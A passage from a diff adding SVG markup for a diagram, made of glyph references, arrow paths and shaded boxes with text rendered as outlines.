+  <use xlink:href="#glyph1-10" x="116.374132" y="115.181966"/>
+  <use xlink:href="#glyph1-14" x="119.429688" y="115.181966"/>
+  <use xlink:href="#glyph1-6" x="125.818576" y="115.181966"/>
+  <use xlink:href="#glyph1-4" x="131.929688" y="115.181966"/>
+  <use xlink:href="#glyph1-8" x="137.763021" y="115.181966"/>
+  <use xlink:href="#glyph1-40" x="141.096354" y="115.181966"/>
+  <use xlink:href="#glyph1-10" x="142.763021" y="115.181966"/>
+  <use xlink:href="#glyph1-31" x="145.818576" y="115.181966"/>
+  <use xlink:href="#glyph1-29" x="152.207465" y="115.181966"/>
+  <use xlink:href="#glyph1-41" x="155.540799" y="115.181966"/>
+  <use xlink:href="#glyph1-6" x="161.929688" y="115.181966"/>
+  <use xlink:href="#glyph1-40" x="168.040799" y="115.181966"/>
+  <use xlink:href="#glyph1-10" x="169.707465" y="115.181966"/>
+  <use xlink:href="#glyph1-42" x="172.763021" y="115.181966"/>
+  <use xlink:href="#glyph1-4" x="176.65191" y="115.181966"/>
+  <use xlink:href="#glyph1-11" x="182.485243" y="115.181966"/>
+  <use xlink:href="#glyph1-12" x="187.485243" y="115.181966"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-9" x="29.429688" y="133.525716"/>
+  <use xlink:href="#glyph1-4" x="34.707465" y="133.525716"/>
+  <use xlink:href="#glyph1-12" x="40.540799" y="133.525716"/>
+  <use xlink:href="#glyph1-6" x="44.429688" y="133.525716"/>
+  <use xlink:href="#glyph1-14" x="50.263021" y="133.525716"/>
+  <use xlink:href="#glyph1-13" x="56.65191" y="133.525716"/>
+  <use xlink:href="#glyph1-8" x="63.040799" y="133.525716"/>
+  <use xlink:href="#glyph1-15" x="66.929688" y="133.525716"/>
+  <use xlink:href="#glyph1-39" x="72.485243" y="133.525716"/>
+  <use xlink:href="#glyph1-10" x="75.540799" y="133.525716"/>
+  <use xlink:href="#glyph1-18" x="78.596354" y="133.525716"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-43" x="241" y="65.017904"/>
+  <use xlink:href="#glyph1-11" x="248.777778" y="65.017904"/>
+  <use xlink:href="#glyph1-6" x="253.777778" y="65.017904"/>
+  <use xlink:href="#glyph1-8" x="259.888889" y="65.017904"/>
+  <use xlink:href="#glyph1-10" x="263.777778" y="65.017904"/>
+  <use xlink:href="#glyph1-4" x="266.833333" y="65.017904"/>
+  <use xlink:href="#glyph1-11" x="272.666667" y="65.017904"/>
+  <use xlink:href="#glyph1-20" x="277.666667" y="65.017904"/>
+  <use xlink:href="#glyph1-11" x="283.222222" y="65.017904"/>
+  <use xlink:href="#glyph1-10" x="288.222222" y="65.017904"/>
+  <use xlink:href="#glyph1-42" x="291.277778" y="65.017904"/>
+  <use xlink:href="#glyph1-13" x="294.888889" y="65.017904"/>
+  <use xlink:href="#glyph1-8" x="301.277778" y="65.017904"/>
+  <use xlink:href="#glyph1-10" x="305.166667" y="65.017904"/>
+  <use xlink:href="#glyph1-7" x="308.222222" y="65.017904"/>
+  <use xlink:href="#glyph1-8" x="314.611111" y="65.017904"/>
+  <use xlink:href="#glyph1-13" x="318.5" y="65.017904"/>
+  <use xlink:href="#glyph1-2" x="324.888889" y="65.017904"/>
+  <use xlink:href="#glyph1-41" x="331.277778" y="65.017904"/>
+  <use xlink:href="#glyph1-9" x="337.666667" y="65.017904"/>
+  <use xlink:href="#glyph1-12" x="342.944444" y="65.017904"/>
+  <use xlink:href="#glyph1-10" x="347.111111" y="65.017904"/>
+  <use xlink:href="#glyph1-17" x="350.166667" y="65.017904"/>
+  <use xlink:href="#glyph1-18" x="356.833333" y="65.017904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-44" x="241" y="129.017904"/>
+  <use xlink:href="#glyph1-13" x="248.777778" y="129.017904"/>
+  <use xlink:href="#glyph1-9" x="255.166667" y="129.017904"/>
+  <use xlink:href="#glyph1-12" x="260.444444" y="129.017904"/>
+  <use xlink:href="#glyph1-8" x="264.611111" y="129.017904"/>
+  <use xlink:href="#glyph1-1" x="268.5" y="129.017904"/>
+  <use xlink:href="#glyph1-3" x="271.555556" y="129.017904"/>
+  <use xlink:href="#glyph1-6" x="277.944444" y="129.017904"/>
+  <use xlink:href="#glyph1-10" x="284.055556" y="129.017904"/>
+  <use xlink:href="#glyph1-8" x="287.111111" y="129.017904"/>
+  <use xlink:href="#glyph1-6" x="291" y="129.017904"/>
+  <use xlink:href="#glyph1-12" x="297.111111" y="129.017904"/>
+  <use xlink:href="#glyph1-41" x="301.277778" y="129.017904"/>
+  <use xlink:href="#glyph1-8" x="307.666667" y="129.017904"/>
+  <use xlink:href="#glyph1-3" x="311.555556" y="129.017904"/>
+  <use xlink:href="#glyph1-11" x="317.944444" y="129.017904"/>
+  <use xlink:href="#glyph1-10" x="322.944444" y="129.017904"/>
+  <use xlink:href="#glyph1-45" x="326" y="129.017904"/>
+  <use xlink:href="#glyph1-8" x="332.111111" y="129.017904"/>
+  <use xlink:href="#glyph1-13" x="336" y="129.017904"/>
+  <use xlink:href="#glyph1-2" x="342.388889" y="129.017904"/>
+  <use xlink:href="#glyph1-41" x="348.777778" y="129.017904"/>
+  <use xlink:href="#glyph1-9" x="355.166667" y="129.017904"/>
+  <use xlink:href="#glyph1-12" x="360.444444" y="129.017904"/>
+  <use xlink:href="#glyph1-10" x="364.611111" y="129.017904"/>
+  <use xlink:href="#glyph1-13" x="367.666667" y="129.017904"/>
+  <use xlink:href="#glyph1-31" x="374.055556" y="129.017904"/>
+  <use xlink:href="#glyph1-46" x="380.444444" y="129.017904"/>
+  <use xlink:href="#glyph1-6" x="383.5" y="129.017904"/>
+  <use xlink:href="#glyph1-9" x="389.333333" y="129.017904"/>
+  <use xlink:href="#glyph1-12" x="394.611111" y="129.017904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-36" x="241" y="147.361654"/>
+  <use xlink:href="#glyph1-1" x="249.611111" y="147.361654"/>
+  <use xlink:href="#glyph1-12" x="252.666667" y="147.361654"/>
+  <use xlink:href="#glyph1-47" x="256.833333" y="147.361654"/>
+  <use xlink:href="#glyph1-13" x="263.222222" y="147.361654"/>
+  <use xlink:href="#glyph1-41" x="269.611111" y="147.361654"/>
+  <use xlink:href="#glyph1-12" x="276" y="147.361654"/>
+  <use xlink:href="#glyph1-10" x="280.166667" y="147.361654"/>
+  <use xlink:href="#glyph1-48" x="283.222222" y="147.361654"/>
+  <use xlink:href="#glyph1-4" x="289.888889" y="147.361654"/>
+  <use xlink:href="#glyph1-12" x="295.722222" y="147.361654"/>
+  <use xlink:href="#glyph1-6" x="299.611111" y="147.361654"/>
+  <use xlink:href="#glyph1-14" x="305.444444" y="147.361654"/>
+  <use xlink:href="#glyph1-13" x="311.833333" y="147.361654"/>
+  <use xlink:href="#glyph1-8" x="318.222222" y="147.361654"/>
+  <use xlink:href="#glyph1-15" x="322.111111" y="147.361654"/>
+  <use xlink:href="#glyph1-10" x="327.111111" y="147.361654"/>
+  <use xlink:href="#glyph1-2" x="330.166667" y="147.361654"/>
+  <use xlink:href="#glyph1-4" x="336.555556" y="147.361654"/>
+  <use xlink:href="#glyph1-12" x="342.388889" y="147.361654"/>
+  <use xlink:href="#glyph1-4" x="346.555556" y="147.361654"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10 37.4 L 23.45 37.4 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.45 37.65 L 23.95 37.4 L 23.45 37.15 Z M 23.45 37.65 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.561719 39.407812 L 24 39.6 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.565234 39.157812 L 10.061719 39.400781 L 10.558203 39.657812 Z M 10.565234 39.157812 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20.6 40.6 C 20.607617 41.257227 21.142773 41.786133 21.8 41.786133 C 22.457227 41.786133 22.992383 41.257227 23 40.6 C 23 39.2 23 37.8 23 36.4 C 23 36.081836 22.873633 35.776562 22.648438 35.551563 C 22.423438 35.326367 22.118164 35.2 21.8 35.2 C 21.481836 35.2 21.176562 35.326367 20.951563 35.551563 C 20.726367 35.776562 20.6 36.081836 20.6 36.4 C 20.6 37.8 20.6 39.2 20.6 40.6 Z M 20.6 40.6 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 465.523438 261.085938 C 465.566406 261.308594 465.59375 261.5625 465.609375 261.851562 C 465.636719 262.128906 465.652344 262.410156 465.652344 262.699219 C 465.664062 262.996094 465.671875 263.28125 465.671875 263.566406 C 465.683594 263.847656 465.695312 264.117188 465.695312 264.371094 C 465.695312 265.414062 465.515625 266.304688 465.164062 267.042969 C 464.824219 267.789062 464.328125 268.386719 463.679688 268.84375 C 463.046875 269.308594 462.273438 269.636719 461.371094 269.839844 C 460.464844 270.050781 459.453125 270.15625 458.339844 270.15625 C 457.351562 270.15625 456.394531 270.054688 455.480469 269.859375 C 454.558594 269.660156 453.753906 269.332031 453.0625 268.863281 C 452.371094 268.410156 451.8125 267.804688 451.390625 267.042969 C 450.976562 266.277344 450.773438 265.324219 450.773438 264.179688 C 450.773438 263.996094 450.773438 263.757812 450.773438 263.460938 C 450.785156 263.175781 450.800781 262.878906 450.816406 262.570312 C 450.84375 262.257812 450.863281 261.964844 450.882812 261.703125 C 450.890625 261.429688 450.914062 261.226562 450.945312 261.085938 M 464.339844 264.433594 C 464.339844 264.292969 464.339844 264.140625 464.339844 263.96875 C 464.339844 263.800781 464.328125 263.636719 464.316406 263.480469 C 464.300781 263.324219 464.285156 263.175781 464.273438 263.035156 C 464.257812 262.894531 464.242188 262.78125 464.230469 262.699219 L 452.214844 262.699219 C 452.199219 262.75 452.183594 262.855469 452.171875 263.015625 C 452.171875 263.167969 452.164062 263.324219 452.152344 263.480469 C 452.152344 263.652344 452.140625 263.808594 452.132812 263.96875 C 452.132812 264.121094 452.132812 264.234375 452.132812 264.308594 C 452.132812 265.097656 452.300781 265.761719 452.640625 266.300781 C 452.980469 266.835938 453.429688 267.257812 453.996094 267.570312 C 454.558594 267.894531 455.214844 268.121094 455.96875 268.25 C 456.730469 268.378906 457.523438 268.441406 458.363281 268.441406 C 459.109375 268.441406 459.84375 268.382812 460.566406 268.269531 C 461.285156 268.15625 461.921875 267.941406 462.472656 267.636719 C 463.023438 267.339844 463.46875 266.9375 463.808594 266.425781 C 464.15625 265.917969 464.339844 265.25 464.339844 264.433594 M 456.199219 271.34375 C 458.066406 271.34375 459.433594 271.671875 460.3125 272.339844 C 461.1875 273.019531 461.625 273.976562 461.625 275.222656 C 461.625 276.546875 461.167969 277.523438 460.269531 278.148438 C 459.378906 278.78125 458.023438 279.101562 456.199219 279.101562 C 454.320312 279.101562 452.941406 278.761719 452.066406 278.082031 C 451.203125 277.40625 450.773438 276.453125 450.773438 275.222656 C 450.773438 273.890625 451.21875 272.914062 452.109375 272.277344 C 453.011719 271.652344 454.378906 271.34375 456.199219 271.34375 M 456.199219 272.976562 C 455.589844 272.976562 455.039062 273.007812 454.546875 273.082031 C 454.050781 273.167969 453.621094 273.300781 453.253906 273.484375 C 452.898438 273.664062 452.625 273.898438 452.429688 274.183594 C 452.226562 274.480469 452.132812 274.824219 452.132812 275.222656 C 452.132812 275.984375 452.449219 276.546875 453.085938 276.917969 C 453.730469 277.300781 454.769531 277.488281 456.199219 277.488281 C 456.792969 277.488281 457.332031 277.449219 457.832031 277.363281 C 458.339844 277.289062 458.769531 277.160156 459.125 276.980469 C 459.492188 276.796875 459.769531 276.558594 459.972656 276.261719 C 460.167969 275.972656 460.269531 275.628906 460.269531 275.222656 C 460.269531 274.484375 459.941406 273.929688 459.292969 273.546875 C 458.644531 273.167969 457.609375 272.976562 456.199219 272.976562 M 451.539062 287.300781 C 451.285156 286.929688 451.09375 286.519531 450.964844 286.050781 C 450.839844 285.597656 450.773438 285.117188 450.773438 284.609375 C 450.773438 283.917969 450.902344 283.328125 451.15625 282.851562 C 451.410156 282.371094 451.777344 281.984375 452.257812 281.6875 C 452.734375 281.390625 453.308594 281.167969 453.976562 281.027344 C 454.636719 280.902344 455.378906 280.839844 456.199219 280.839844 C 457.964844 280.839844 459.304688 281.160156 460.226562 281.8125 C 461.160156 282.476562 461.625 283.421875 461.625 284.652344 C 461.625 285.214844 461.574219 285.703125 461.476562 286.113281 C 461.375 286.523438 461.25 286.867188 461.09375 287.152344 L 459.761719 286.730469 C 460.097656 286.148438 460.269531 285.523438 460.269531 284.84375 C 460.269531 284.046875 459.933594 283.457031 459.273438 283.0625 C 458.621094 282.664062 457.597656 282.46875 456.199219 282.46875 C 455.632812 282.46875 455.101562 282.511719 454.609375 282.597656 C 454.113281 282.683594 453.683594 282.820312 453.316406 283.019531 C 452.945312 283.234375 452.660156 283.492188 452.449219 283.804688 C 452.238281 284.128906 452.132812 284.53125 452.132812 285.011719 C 452.132812 285.378906 452.195312 285.722656 452.320312 286.050781 C 452.460938 286.375 452.617188 286.644531 452.789062 286.855469 M 461.625 288.359375 L 461.625 289.695312 L 463.828125 289.695312 L 464.339844 291.242188 L 461.625 291.242188 L 461.625 293.597656 L 460.269531 293.597656 L 460.269531 291.242188 L 453.910156 291.242188 C 453.277344 291.242188 452.816406 291.316406 452.535156 291.476562 C 452.265625 291.628906 452.132812 291.878906 452.132812 292.21875 C 452.132812 292.515625 452.164062 292.757812 452.238281 292.960938 C 452.304688 293.171875 452.390625 293.40625 452.492188 293.660156 L 451.285156 293.957031 C 451.125 293.644531 450.996094 293.289062 450.902344 292.894531 C 450.816406 292.515625 450.773438 292.117188 450.773438 291.710938 C 450.773438 290.988281 450.996094 290.46875 451.453125 290.164062 C 451.917969 289.851562 452.671875 289.695312 453.71875 289.695312 L 460.269531 289.695312 L 460.269531 288.359375 M 461.625 294.867188 L 461.625 295.992188 L 460.3125 296.265625 L 460.3125 296.328125 C 460.71875 296.527344 461.039062 296.785156 461.265625 297.113281 C 461.503906 297.4375 461.625 297.835938 461.625 298.300781 C 461.625 298.625 461.566406 299 461.457031 299.421875 L 460.078125 299.125 C 460.207031 298.746094 460.269531 298.410156 460.269531 298.132812 C 460.269531 297.664062 460.132812 297.285156 459.867188 296.988281 C 459.597656 296.699219 459.234375 296.519531 458.785156 296.433594 L 450.773438 296.433594 L 450.773438 294.867188 M 461.625 300.566406 L 461.625 302.113281 L 450.773438 302.113281 L 450.773438 300.566406 M 464.296875 300.269531 C 464.703125 300.269531 465.039062 300.367188 465.292969 300.566406 C 465.554688 300.765625 465.695312 301.019531 465.695312 301.332031 C 465.695312 301.652344 465.566406 301.925781 465.3125 302.136719 C 465.070312 302.347656 464.730469 302.453125 464.296875 302.453125 C 463.882812 302.453125 463.558594 302.347656 463.320312 302.136719 C 463.09375 301.925781 462.980469 301.652344 462.980469 301.332031 C 462.980469 301.019531 463.097656 300.765625 463.34375 300.566406 C 463.582031 300.367188 463.898438 300.269531 464.296875 300.269531 M 450.773438 309.933594 L 457.261719 309.933594 C 458.320312 309.933594 459.082031 309.808594 459.546875 309.554688 C 460.023438 309.300781 460.269531 308.84375 460.269531 308.195312 C 460.269531 307.613281 460.097656 307.136719 459.761719 306.757812 C 459.421875 306.375 459.003906 306.097656 458.511719 305.929688 L 450.773438 305.929688 L 450.773438 304.363281 L 461.625 304.363281 L 461.625 305.503906 L 460.246094 305.78125 L 460.246094 305.84375 C 460.628906 306.125 460.953125 306.5 461.222656 306.96875 C 461.488281 307.433594 461.625 307.992188 461.625 308.640625 C 461.625 309.109375 461.5625 309.515625 461.433594 309.871094 C 461.308594 310.222656 461.085938 310.519531 460.777344 310.761719 C 460.480469 311 460.078125 311.175781 459.570312 311.292969 C 459.0625 311.417969 458.414062 311.480469 457.640625 311.480469 L 450.773438 311.480469 M 451.730469 320.363281 C 451.433594 320.007812 451.199219 319.5625 451.027344 319.027344 C 450.859375 318.5 450.773438 317.945312 450.773438 317.351562 C 450.773438 316.65625 450.902344 316.066406 451.15625 315.570312 C 451.410156 315.074219 451.777344 314.667969 452.257812 314.34375 C 452.734375 314.015625 453.300781 313.777344 453.953125 313.621094 C 454.617188 313.464844 455.363281 313.390625 456.199219 313.390625 C 457.964844 313.390625 459.304688 313.726562 460.226562 314.40625 C 461.160156 315.085938 461.625 316.042969 461.625 317.289062 C 461.625 317.695312 461.574219 318.097656 461.476562 318.496094 C 461.390625 318.886719 461.207031 319.242188 460.925781 319.554688 C 460.640625 319.878906 460.246094 320.140625 459.738281 320.339844 C 459.230469 320.535156 458.5625 320.636719 457.746094 320.636719 C 457.519531 320.636719 457.269531 320.621094 457.003906 320.59375 C 456.75 320.578125 456.480469 320.558594 456.199219 320.53125 L 456.199219 315.019531 C 455.574219 315.019531 455.011719 315.070312 454.503906 315.167969 C 454.007812 315.265625 453.582031 315.421875 453.234375 315.636719 C 452.878906 315.859375 452.601562 316.144531 452.40625 316.484375 C 452.222656 316.824219 452.132812 317.246094 452.132812 317.753906 C 452.132812 318.148438 452.195312 318.539062 452.320312 318.921875 C 452.460938 319.300781 452.628906 319.589844 452.832031 319.789062 M 457.554688 319.132812 C 458.488281 319.160156 459.171875 319.003906 459.613281 318.667969 C 460.046875 318.335938 460.269531 317.886719 460.269531 317.308594 C 460.269531 316.640625 460.046875 316.113281 459.613281 315.71875 C 459.171875 315.339844 458.488281 315.109375 457.554688 315.042969 Z M 457.554688 319.132812 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-17" x="59.203125" y="206.451389"/>
+  <use xlink:href="#glyph0-9" x="67.814236" y="206.451389"/>
+  <use xlink:href="#glyph0-10" x="73.369792" y="206.451389"/>
+  <use xlink:href="#glyph0-11" x="82.258681" y="206.451389"/>
+  <use xlink:href="#glyph0-12" x="91.147569" y="206.451389"/>
+  <use xlink:href="#glyph0-13" x="100.036458" y="206.451389"/>
+  <use xlink:href="#glyph0-14" x="107.258681" y="206.451389"/>
+  <use xlink:href="#glyph0-7" x="112.814236" y="206.451389"/>
+  <use xlink:href="#glyph0-18" x="117.258681" y="206.451389"/>
+  <use xlink:href="#glyph0-3" x="128.369792" y="206.451389"/>
+  <use xlink:href="#glyph0-19" x="137.258681" y="206.451389"/>
+  <use xlink:href="#glyph0-5" x="141.703125" y="206.451389"/>
+  <use xlink:href="#glyph0-13" x="150.036458" y="206.451389"/>
+  <use xlink:href="#glyph0-14" x="157.258681" y="206.451389"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-20" x="45.179688" y="231.853733"/>
+  <use xlink:href="#glyph0-21" x="57.124132" y="231.853733"/>
+  <use xlink:href="#glyph0-14" x="61.568576" y="231.853733"/>
+  <use xlink:href="#glyph0-22" x="67.124132" y="231.853733"/>
+  <use xlink:href="#glyph0-7" x="76.013021" y="231.853733"/>
+  <use xlink:href="#glyph0-23" x="80.457465" y="231.853733"/>
+  <use xlink:href="#glyph0-2" x="89.624132" y="231.853733"/>
+  <use xlink:href="#glyph0-14" x="97.679688" y="231.853733"/>
+  <use xlink:href="#glyph0-5" x="103.235243" y="231.853733"/>
+  <use xlink:href="#glyph0-15" x="111.568576" y="231.853733"/>
+  <use xlink:href="#glyph0-10" x="120.457465" y="231.853733"/>
+  <use xlink:href="#glyph0-9" x="129.346354" y="231.853733"/>
+  <use xlink:href="#glyph0-16" x="134.90191" y="231.853733"/>
+  <use xlink:href="#glyph0-7" x="141.846354" y="231.853733"/>
+  <use xlink:href="#glyph0-11" x="146.290799" y="231.853733"/>
+  <use xlink:href="#glyph0-2" x="155.179688" y="231.853733"/>
+  <use xlink:href="#glyph0-14" x="163.235243" y="231.853733"/>
+  <use xlink:href="#glyph0-2" x="168.790799" y="231.853733"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-49" x="241" y="261.017904"/>
+  <use xlink:href="#glyph1-7" x="247.666667" y="261.017904"/>
+  <use xlink:href="#glyph1-8" x="254.055556" y="261.017904"/>
+  <use xlink:href="#glyph1-13" x="257.944444" y="261.017904"/>
+  <use xlink:href="#glyph1-2" x="264.333333" y="261.017904"/>
+  <use xlink:href="#glyph1-41" x="270.722222" y="261.017904"/>
+  <use xlink:href="#glyph1-9" x="277.111111" y="261.017904"/>
+  <use xlink:href="#glyph1-12" x="282.388889" y="261.017904"/>
+  <use xlink:href="#glyph1-50" x="286" y="261.017904"/>
+  <use xlink:href="#glyph1-51" x="290.166667" y="261.017904"/>
+  <use xlink:href="#glyph1-14" x="296.277778" y="261.017904"/>
+  <use xlink:href="#glyph1-6" x="302.666667" y="261.017904"/>
+  <use xlink:href="#glyph1-12" x="308.777778" y="261.017904"/>
+  <use xlink:href="#glyph1-48" x="312.944444" y="261.017904"/>
+  <use xlink:href="#glyph1-4" x="319.611111" y="261.017904"/>
+  <use xlink:href="#glyph1-12" x="325.444444" y="261.017904"/>
+  <use xlink:href="#glyph1-6" x="329.333333" y="261.017904"/>
+  <use xlink:href="#glyph1-14" x="335.166667" y="261.017904"/>
+  <use xlink:href="#glyph1-13" x="341.555556" y="261.017904"/>
+  <use xlink:href="#glyph1-8" x="347.944444" y="261.017904"/>
+  <use xlink:href="#glyph1-15" x="351.833333" y="261.017904"/>
+  <use xlink:href="#glyph1-52" x="357.388889" y="261.017904"/>
+  <use xlink:href="#glyph1-53" x="360.722222" y="261.017904"/>
+  <use xlink:href="#glyph1-50" x="364.055556" y="261.017904"/>
+  <use xlink:href="#glyph1-51" x="368.222222" y="261.017904"/>
+  <use xlink:href="#glyph1-14" x="374.333333" y="261.017904"/>
+  <use xlink:href="#glyph1-6" x="380.722222" y="261.017904"/>
+  <use xlink:href="#glyph1-12" x="386.833333" y="261.017904"/>
+  <use xlink:href="#glyph1-54" x="391" y="261.017904"/>
+  <use xlink:href="#glyph1-4" x="398.777778" y="261.017904"/>
+  <use xlink:href="#glyph1-5" x="404.611111" y="261.017904"/>
+  <use xlink:href="#glyph1-6" x="414.055556" y="261.017904"/>
+  <use xlink:href="#glyph1-52" x="420.166667" y="261.017904"/>
+  <use xlink:href="#glyph1-53" x="423.5" y="261.017904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-44" x="241" y="331.017904"/>
+  <use xlink:href="#glyph1-13" x="248.777778" y="331.017904"/>
+  <use xlink:href="#glyph1-9" x="255.166667" y="331.017904"/>
+  <use xlink:href="#glyph1-12" x="260.444444" y="331.017904"/>
+  <use xlink:href="#glyph1-8" x="264.611111" y="331.017904"/>
+  <use xlink:href="#glyph1-1" x="268.5" y="331.017904"/>
+  <use xlink:href="#glyph1-3" x="271.555556" y="331.017904"/>
+  <use xlink:href="#glyph1-6" x="277.944444" y="331.017904"/>
+  <use xlink:href="#glyph1-10" x="284.055556" y="331.017904"/>
+  <use xlink:href="#glyph1-29" x="287.111111" y="331.017904"/>
+  <use xlink:href="#glyph1-4" x="290.444444" y="331.017904"/>
+  <use xlink:href="#glyph1-55" x="296.277778" y="331.017904"/>
+  <use xlink:href="#glyph1-1" x="301.555556" y="331.017904"/>
+  <use xlink:href="#glyph1-29" x="304.611111" y="331.017904"/>
+  <use xlink:href="#glyph1-15" x="307.944444" y="331.017904"/>
+  <use xlink:href="#glyph1-10" x="312.944444" y="331.017904"/>
+  <use xlink:href="#glyph1-7" x="316" y="331.017904"/>
+  <use xlink:href="#glyph1-13" x="322.388889" y="331.017904"/>
+  <use xlink:href="#glyph1-7" x="328.777778" y="331.017904"/>
+  <use xlink:href="#glyph1-41" x="335.166667" y="331.017904"/>
+  <use xlink:href="#glyph1-29" x="341.555556" y="331.017904"/>
+  <use xlink:href="#glyph1-4" x="344.888889" y="331.017904"/>
+  <use xlink:href="#glyph1-12" x="350.722222" y="331.017904"/>
+  <use xlink:href="#glyph1-6" x="354.611111" y="331.017904"/>
+  <use xlink:href="#glyph1-11" x="360.722222" y="331.017904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-12" x="241" y="349.361654"/>
+  <use xlink:href="#glyph1-47" x="245.166667" y="349.361654"/>
+  <use xlink:href="#glyph1-6" x="251.555556" y="349.361654"/>
+  <use xlink:href="#glyph1-10" x="257.666667" y="349.361654"/>
+  <use xlink:href="#glyph1-48" x="260.722222" y="349.361654"/>
+  <use xlink:href="#glyph1-4" x="267.388889" y="349.361654"/>
+  <use xlink:href="#glyph1-12" x="273.222222" y="349.361654"/>
+  <use xlink:href="#glyph1-6" x="277.111111" y="349.361654"/>
+  <use xlink:href="#glyph1-14" x="282.944444" y="349.361654"/>
+  <use xlink:href="#glyph1-13" x="289.333333" y="349.361654"/>
+  <use xlink:href="#glyph1-8" x="295.722222" y="349.361654"/>
+  <use xlink:href="#glyph1-15" x="299.611111" y="349.361654"/>
+  <use xlink:href="#glyph1-10" x="304.611111" y="349.361654"/>
+  <use xlink:href="#glyph1-2" x="307.666667" y="349.361654"/>
+  <use xlink:href="#glyph1-4" x="314.055556" y="349.361654"/>
+  <use xlink:href="#glyph1-12" x="319.888889" y="349.361654"/>
+  <use xlink:href="#glyph1-4" x="324.055556" y="349.361654"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.3 36 C 0.134375 36 0 36.134375 0 36.3 L 0 40.7 C 0 40.865625 0.134375 41 0.3 41 L 8.7 41 C 8.865625 41 9 40.865625 9 40.7 L 9 36.3 C 9 36.134375 8.865625 36 8.7 36 Z M 0.3 36 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="29.429688" y="260.14681"/>
+  <use xlink:href="#glyph1-2" x="32.485243" y="260.14681"/>
+  <use xlink:href="#glyph1-39" x="38.874132" y="260.14681"/>
+  <use xlink:href="#glyph1-10" x="41.929688" y="260.14681"/>
+  <use xlink:href="#glyph1-17" x="44.985243" y="260.14681"/>
+  <use xlink:href="#glyph1-18" x="51.65191" y="260.14681"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="29.429688" y="278.49056"/>
+  <use xlink:href="#glyph1-4" x="35.818576" y="278.49056"/>
+  <use xlink:href="#glyph1-5" x="41.65191" y="278.49056"/>
+  <use xlink:href="#glyph1-6" x="51.096354" y="278.49056"/>
+  <use xlink:href="#glyph1-39" x="57.207465" y="278.49056"/>
+  <use xlink:href="#glyph1-10" x="60.263021" y="278.49056"/>
+  <use xlink:href="#glyph1-19" x="63.318576" y="278.49056"/>
+  <use xlink:href="#glyph1-1" x="70.263021" y="278.49056"/>
+  <use xlink:href="#glyph1-20" x="73.318576" y="278.49056"/>
+  <use xlink:href="#glyph1-6" x="78.874132" y="278.49056"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-7" x="29.429688" y="296.838216"/>
+  <use xlink:href="#glyph1-8" x="35.818576" y="296.838216"/>
+  <use xlink:href="#glyph1-1" x="39.707465" y="296.838216"/>
+  <use xlink:href="#glyph1-9" x="42.763021" y="296.838216"/>
+  <use xlink:href="#glyph1-6" x="47.763021" y="296.838216"/>
+  <use xlink:href="#glyph1-39" x="53.874132" y="296.838216"/>
+  <use xlink:href="#glyph1-10" x="56.929688" y="296.838216"/>
+  <use xlink:href="#glyph1-21" x="59.985243" y="296.838216"/>
+  <use xlink:href="#glyph1-22" x="66.65191" y="296.838216"/>
+  <use xlink:href="#glyph1-23" x="73.318576" y="296.838216"/>
+  <use xlink:href="#glyph1-23" x="79.985243" y="296.838216"/>
+  <use xlink:href="#glyph1-24" x="86.65191" y="296.838216"/>
+  <use xlink:href="#glyph1-23" x="89.15191" y="296.838216"/>
+  <use xlink:href="#glyph1-23" x="95.818576" y="296.838216"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-2" x="29.429688" y="315.181966"/>
+  <use xlink:href="#glyph1-6" x="35.818576" y="315.181966"/>
+  <use xlink:href="#glyph1-11" x="41.929688" y="315.181966"/>
+  <use xlink:href="#glyph1-9" x="46.929688" y="315.181966"/>
+  <use xlink:href="#glyph1-8" x="52.207465" y="315.181966"/>
